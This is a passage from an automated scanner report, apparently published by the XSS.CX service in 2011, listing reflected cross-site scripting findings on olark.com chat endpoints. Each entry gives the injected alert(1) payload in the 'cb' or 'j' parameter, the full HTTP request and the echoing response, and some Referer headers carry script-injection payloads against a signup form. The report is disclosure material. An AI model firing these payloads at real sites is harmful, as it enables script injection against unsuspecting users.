Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://full360.com/finance

Response

HTTP/1.1 200 OK
P3P: CP='Olark does not have a P3P policy. Learn why here: http://olark.com/p3p'
Server: BaseHTTP/0.3 Python/2.6.6
Date: Sat, 04 Jun 2011 21:40:57 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sat, 04 Jun 2011 21:40:57 UTC
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Cache-Control: post-check=0, pre-check=0
X-RPC: rp3.olark.net
Pragma: no-cache
Content-type: text/javascript
Content-Length: 269

try{hbl.client.noop(
{
"duplicate_session_id": true,
"error": "ignored duplicate sequence_id (50 ids stored)"
}
);}catch(e){}try{if(document.getElementById('o276790';alert(1)//8f86ebf9ffc')) hbl.util.remove_element('o276790';alert(1)//8f86ebf9ffc');}catch(e){}
1.37. http://79-async.olark.com/nrpc/p [cb parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://79-async.olark.com
Path:   /nrpc/p

Issue detail

The value of the cb request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 3bbf3%3balert(1)//5d6bf91954 was submitted in the cb parameter. This input was echoed as 3bbf3;alert(1)//5d6bf91954 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /nrpc/p?j=o3&&c=pollevents&q=9911.18843.3&i=BIXS2LX4JGS5I03ALOJTQCJH51571978&cb=hbl.client.callbacks.pollevents3bbf3%3balert(1)//5d6bf91954&version=api-1.2.1&pretty=true HTTP/1.1
Host: 79-async.olark.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://full360.com/consulting

Response

HTTP/1.1 200 OK
P3P: CP='Olark does not have a P3P policy. Learn why here: http://olark.com/p3p'
Server: BaseHTTP/0.3 Python/2.6.6
Date: Sat, 04 Jun 2011 21:53:45 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sat, 04 Jun 2011 21:53:45 UTC
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Cache-Control: post-check=0, pre-check=0
X-RPC: rp3.olark.net
Pragma: no-cache
Content-type: text/javascript
Content-Length: 255

try{hbl.client.callbacks.pollevents3bbf3;alert(1)//5d6bf91954(
{
"duplicate_session_id": true,
"error": "ignored duplicate sequence_id (50 ids stored)"
}
);}catch(e){}try{if(document.getElementById('o3')) hbl.util.remove_element('o3');}catch(e){}
1.38. http://79-async.olark.com/nrpc/p [j parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://79-async.olark.com
Path:   /nrpc/p

Issue detail

The value of the j request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 90b8f'%3balert(1)//1454d4f434 was submitted in the j parameter. This input was echoed as 90b8f';alert(1)//1454d4f434 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /nrpc/p?j=o390b8f'%3balert(1)//1454d4f434&&c=pollevents&q=9911.18843.3&i=BIXS2LX4JGS5I03ALOJTQCJH51571978&cb=hbl.client.callbacks.pollevents&version=api-1.2.1&pretty=true HTTP/1.1
Host: 79-async.olark.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://full360.com/consulting

Response

HTTP/1.1 200 OK
P3P: CP='Olark does not have a P3P policy. Learn why here: http://olark.com/p3p'
Server: BaseHTTP/0.3 Python/2.6.6
Date: Sat, 04 Jun 2011 21:53:44 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sat, 04 Jun 2011 21:53:44 UTC
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Cache-Control: post-check=0, pre-check=0
X-RPC: rp3.olark.net
Pragma: no-cache
Content-type: text/javascript
Content-Length: 283

try{hbl.client.callbacks.pollevents(
{
"duplicate_session_id": true,
"error": "ignored duplicate sequence_id (50 ids stored)"
}
);}catch(e){}try{if(document.getElementById('o390b8f';alert(1)//1454d4f434')) hbl.util.remove_element('o390b8f';alert(1)//1454d4f434');}catch(e){}
1.39. http://850-async.olark.com/nrpc/s [cb parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://850-async.olark.com
Path:   /nrpc/s

Issue detail

The value of the cb request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 307e7%3balert(1)//a65c1226a25 was submitted in the cb parameter. This input was echoed as 307e7;alert(1)//a65c1226a25 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /nrpc/s?j=o2&&c=sendnickname&q=2166.12860.2&i=BIXS2LX4JGS5I03ALOJTQCJH51571978&cb=hbl.client.noop307e7%3balert(1)//a65c1226a25&nickname=%5B%7B%22v%22%3A%22%7Bgeolocation%7D%20%23212%22%7D%5D&version=api-1.2.1&pretty=true HTTP/1.1
Host: 850-async.olark.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://full360.com/cloud

Response

HTTP/1.1 200 OK
P3P: CP='Olark does not have a P3P policy. Learn why here: http://olark.com/p3p'
Server: BaseHTTP/0.3 Python/2.6.6
Date: Sat, 04 Jun 2011 21:53:36 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sat, 04 Jun 2011 21:53:36 UTC
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Cache-Control: post-check=0, pre-check=0
X-RPC: rp3.olark.net
Pragma: no-cache
Content-type: text/javascript
Content-Length: 240

try{hbl.client.noop307e7;alert(1)//a65c1226a25(
{
"duplicate_session_id": true,
"error": "ignored duplicate sequence_id (50 ids stored)"
}
);}catch(e){}try{if(document.getElementById('o2')) hbl.util.remove_element('o2');}catch(e){}
1.40. http://850-async.olark.com/nrpc/s [j parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://850-async.olark.com
Path:   /nrpc/s

Issue detail

The value of the j request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 99cea'%3balert(1)//aca8790fede was submitted in the j parameter. This input was echoed as 99cea';alert(1)//aca8790fede in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /nrpc/s?j=o299cea'%3balert(1)//aca8790fede&&c=sendnickname&q=2166.12860.2&i=BIXS2LX4JGS5I03ALOJTQCJH51571978&cb=hbl.client.noop&nickname=%5B%7B%22v%22%3A%22%7Bgeolocation%7D%20%23212%22%7D%5D&version=api-1.2.1&pretty=true HTTP/1.1
Host: 850-async.olark.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://full360.com/cloud

Response

HTTP/1.1 200 OK
P3P: CP='Olark does not have a P3P policy. Learn why here: http://olark.com/p3p'
Server: BaseHTTP/0.3 Python/2.6.6
Date: Sat, 04 Jun 2011 21:53:35 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sat, 04 Jun 2011 21:53:35 UTC
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Cache-Control: post-check=0, pre-check=0
X-RPC: rp3.olark.net
Pragma: no-cache
Content-type: text/javascript
Content-Length: 269

try{hbl.client.noop(
{
"duplicate_session_id": true,
"error": "ignored duplicate sequence_id (50 ids stored)"
}
);}catch(e){}try{if(document.getElementById('o299cea';alert(1)//aca8790fede')) hbl.util.remove_element('o299cea';alert(1)//aca8790fede');}catch(e){}
1.41. http://956-async.olark.com/nrpc/s [cb parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://956-async.olark.com
Path:   /nrpc/s

Issue detail

The value of the cb request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload fd187%3balert(1)//08444e6759c was submitted in the cb parameter. This input was echoed as fd187;alert(1)//08444e6759c in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /nrpc/s?j=o2&&c=sendnickname&q=5811.12569.2&i=S9F1LSG2OWDYK06QL37SL9XM93534311&cb=hbl.client.noopfd187%3balert(1)//08444e6759c&nickname=%5B%7B%22v%22%3A%22%7Bgeolocation%7D%20%235324%22%7D%5D&version=api-1.2.1&pretty=true HTTP/1.1
Host: 956-async.olark.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.olark.com/signup/create_new_account?user%5Busername%5D=4b89a%22%3E%3Cscript%3Ealert(%22FOOL%22)%3C/script%3E45e8436854bbf5511&user%5Bemail%5D=%27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3Ealert%280x000042%29%3C%2Fscript%3E&user%5Bpassword%5D=&user%5Bpassword_confirmation%5D=&commit=Continue
Cookie: __utmx=220293574.00012337193820629337:1:1; __utmxx=220293574.00012337193820629337:1556187:2592000; __utma=1.900938983.1307226305.1307226305.1307226305.1; __utmb=1.1.10.1307226305; __utmc=1; __utmz=1.1307226305.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; km_ai=p6nVNyL3vgbPZf6fpECZXtkw1So; km_uq=; km_vs=1; km_lv=1307226306

Response

HTTP/1.1 200 OK
P3P: CP='Olark does not have a P3P policy. Learn why here: http://olark.com/p3p'
Server: BaseHTTP/0.3 Python/2.6.6
Date: Sat, 04 Jun 2011 22:25:16 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sat, 04 Jun 2011 22:25:16 UTC
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Cache-Control: post-check=0, pre-check=0
X-RPC: rp3.olark.net
Pragma: no-cache
Content-type: text/javascript
Content-Length: 240

try{hbl.client.noopfd187;alert(1)//08444e6759c(
{
"duplicate_session_id": true,
"error": "ignored duplicate sequence_id (10 ids stored)"
}
);}catch(e){}try{if(document.getElementById('o2')) hbl.util.remove_element('o2');}catch(e){}
1.42. http://956-async.olark.com/nrpc/s [j parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://956-async.olark.com
Path:   /nrpc/s

Issue detail

The value of the j request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 292b7'%3balert(1)//666e0ea326e was submitted in the j parameter. This input was echoed as 292b7';alert(1)//666e0ea326e in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /nrpc/s?j=o2292b7'%3balert(1)//666e0ea326e&&c=sendnickname&q=5811.12569.2&i=S9F1LSG2OWDYK06QL37SL9XM93534311&cb=hbl.client.noop&nickname=%5B%7B%22v%22%3A%22%7Bgeolocation%7D%20%235324%22%7D%5D&version=api-1.2.1&pretty=true HTTP/1.1
Host: 956-async.olark.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.olark.com/signup/create_new_account?user%5Busername%5D=4b89a%22%3E%3Cscript%3Ealert(%22FOOL%22)%3C/script%3E45e8436854bbf5511&user%5Bemail%5D=%27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3Ealert%280x000042%29%3C%2Fscript%3E&user%5Bpassword%5D=&user%5Bpassword_confirmation%5D=&commit=Continue
Cookie: __utmx=220293574.00012337193820629337:1:1; __utmxx=220293574.00012337193820629337:1556187:2592000; __utma=1.900938983.1307226305.1307226305.1307226305.1; __utmb=1.1.10.1307226305; __utmc=1; __utmz=1.1307226305.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; km_ai=p6nVNyL3vgbPZf6fpECZXtkw1So; km_uq=; km_vs=1; km_lv=1307226306

Response

HTTP/1.1 200 OK
P3P: CP='Olark does not have a P3P policy. Learn why here: http://olark.com/p3p'
Server: BaseHTTP/0.3 Python/2.6.6
Date: Sat, 04 Jun 2011 22:25:16 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sat, 04 Jun 2011 22:25:16 UTC
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Cache-Control: post-check=0, pre-check=0
X-RPC: rp3.olark.net
Pragma: no-cache
Content-type: text/javascript
Content-Length: 269

try{hbl.client.noop(
{
"duplicate_session_id": true,
"error": "ignored duplicate sequence_id (10 ids stored)"
}
);}catch(e){}try{if(document.getElementById('o2292b7';alert(1)//666e0ea326e')) hbl.util.remove_element('o2292b7';alert(1)//666e0ea326e');}catch(e){}
Report generated by XSS.CX at Sun Jun 05 06:32:43 CDT 2011.